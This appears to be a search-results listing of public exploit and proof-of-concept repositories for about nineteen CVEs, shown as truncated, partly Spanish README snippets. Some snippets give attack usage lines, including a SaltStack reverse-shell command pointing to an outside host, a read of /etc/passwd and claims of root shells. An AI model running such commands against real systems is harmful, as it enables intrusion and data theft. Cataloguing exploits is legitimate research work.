57253 matches found
CVE-2021-26084
CVE-2021-26084 Ejecución remota de código RCE en Confluence Code By: Junsheng @ Laboratorio de Seguridad Naranja Laboratorio de Seguridad Naranja https://0range.team/ 0x00 Resumen de riesgos Esta herramienta solo debe usarse en pruebas de seguridad autorizadas. Prohibido atacar sitios sin...
CVE-2019-15107
CVE-2019-15107 Programa de prueba para CVE-2019-15107 Esta vulnerabilidad de ejecución remota de comandos en webmin se debe aproximadamente a que qx/…/ en perl provoca la ejecución de comandos. Su explotación requiere ciertas condiciones especiales. Al reproducirla, escribí rápidamente un program...
CVE-2022-43110
CVE-2022-43110 Más información Voltronic Viewpower/Pro y sus remarcas/derivados Se supone que el software de gestión de UPS solo permite que un usuario administrador debidamente Autenticado y Autorizado configure el sistema a través de una interfaz web. Debido a CWE-425: Solicitud Directa...
CVE-2022-40635
CVE-2022-40635: Omisión del Sandbox de Groovy en CrafterCMS Vulnerabilidad de Control Inadecuado de Recursos de Código Gestionado Dinámicamente en Crafter Studio de Crafter CMS que permite a desarrolladores autenticados ejecutar comandos del sistema operativo mediante la omisión del Sandbox de...
CVE-2023-38646
CVE-2023-38646 Metabase RCE sin autenticación 26/11/2023 Metabase open source anterior a 0.46.6.1 y Metabase Enterprise anterior a 1.46.6.1 permiten a los atacantes ejecutar comandos arbitrarios en el servidor, al nivel de privilegio del servidor. No se requiere autenticación para la explotación...
Langflow-CVE-2025-3248-Multi-target
⚠️ Escáner de Explotación RCE de Langflow CVE-2025-3248 Este escáner basado en Python automatiza la detección de vulnerabilidades de Ejecución Remota de Código RCE sin autenticación en instancias de Langflow a través de CVE-2025-3248. Utiliza un payload de prueba de concepto que abusa del endpoint...
CVE-2026-26119
CVE-2026-26119 WAC RCE - CVE-2026-26119 RCE autenticado en Windows Admin Center mediante WinREST/PowerShell invokeCommand. Uso: python3 wacrce.py "" WACPASS= python3 wacrce.py Entorno: WACBASE - override target base URL default below WACPASS - password, used if not passed positionally...
CVE-2023-24706
CVE-2022-24706 Apache CouchDB vulnerabilidad de ejecución remota de comandos poc...
CVE-2023-34960
ChamiloCVE-2023-34960-EXP Help: usage: CVE-2023-34960.py -h -u URL -f FILE -c COMMAND options: -h, --help show this help message and exit -u URL, --url URL Full URL address http/https -f FILE, --file FILE Batch URL file -c COMMAND, --command COMMAND Execute command, optional Examples: Single URL...
CVE-2025-47812
🚀 Wing FTP Exploit - CVE-2025-47812 Enhanced exploit for Wing FTP Server CVE-2025-47812 - Unauthenticated Remote Code Execution RCE 🔧 Installation Clone this repository and enter the directory: git clone https://github.com/0xjuarez/CVE-2025-47812.git cd CVE-2025-47812 pip install -r...
-CVE-2025-59528-PoC
CVE-2025-59528-PoC SOLO CON FINES EDUCATIVOS Un sencillo script de Python para explotar CVE-2025-59528, una vulnerabilidad de RCE autenticada en la aplicación Flowise, una popular herramienta de IA, que también forma parte de un desafío estacional de HTB, en el que lo probé, por cierto. Si no...
CVE-2025-53770
Laboratorio de investigación CVE-2025-53770 Este repositorio parece ser un proyecto de investigación de prueba de concepto para validar un problema de deserialización y procesamiento de ToolPane de estilo SharePoint en un laboratorio controlado. Incluye un controlador Python, una aplicación...
CVE-2020-14882
CVE-2020-14882 CVE-2020-14882 Descripción Vulnerabilidad en el producto Oracle WebLogic Server de Oracle Fusion Middleware componente: Console. Las versiones compatibles afectadas son 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 y 14.1.1.0.0. La vulnerabilidad, fácilmente explotable, permite a ...
nfsen-exploit
nfsen-exploit Exploit para CVE-2017-6971: ejecución remota de comandos en nfsen 1.3.7. Probado en Ubuntu, probablemente funciona en todo Vulnerabilidad descubierta por Paul Taylor/Foregenix Ltd Uso: python exploit.py Esto genera un shell de nivel root en la máquina remota...
CVE-2025-56803
CVE-2025-56803 Vulnerabilidad de inyección de comandos del sistema operativo mediante la ejecución de plugins en la aplicación de escritorio de Figma 1. Resumen Aplicación : Figma Desktop Application Versión : 125.6.5 Proveedor : Figma, Inc. CWE : CWE-78: Neutralización incorrecta de elementos...
CVE-2025-55182-poc-tool
CVE-2025-55182-poc-tool Una potente herramienta de explotación para detectar y explotar la vulnerabilidad CVE-2025-55182 en Next.js React Server Components. Esta herramienta permite la ejecución remota de comandos RCE en aplicaciones Next.js vulnerables con capacidades de evasión de WAF integrada...
paint2die
Exploit más simple y fiable de RichFaces Paint2DResource CVE-2018-12533 RF-14310 Instalación • Uso • Ejecutar Paint2Die Instrucciones de instalación git clone https://github.com/LucasKatashi/paint2die.git cd paint2die chmod +x paint2die.py pip install -r requirements.txt Uso ./paint2die -h Esto...
CVE-2020-11652
SaltStack-Exp CVE-2020-11651 CVE-2020-11652 Exec-Master: python exp.py --exec-choose master --exec-cmd "whoami" Exec-Minions: python exp.py --exec-choose minions --exec-cmd "whoami" GetShell: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 ReadFile: python exp.py --read /etc/passwd...
CVE-2023-5044
CVE-2023-5044 Inyección de código mediante nginx.ingress.kubernetes.io/permanent-redirect annotation Primero, necesitas desplegar un Pod y un Service: kind: Pod apiVersion: v1 metadata: name: apple-app labels: app: apple spec: containers: - name: apple-app image: hashicorp/http-echo args: -...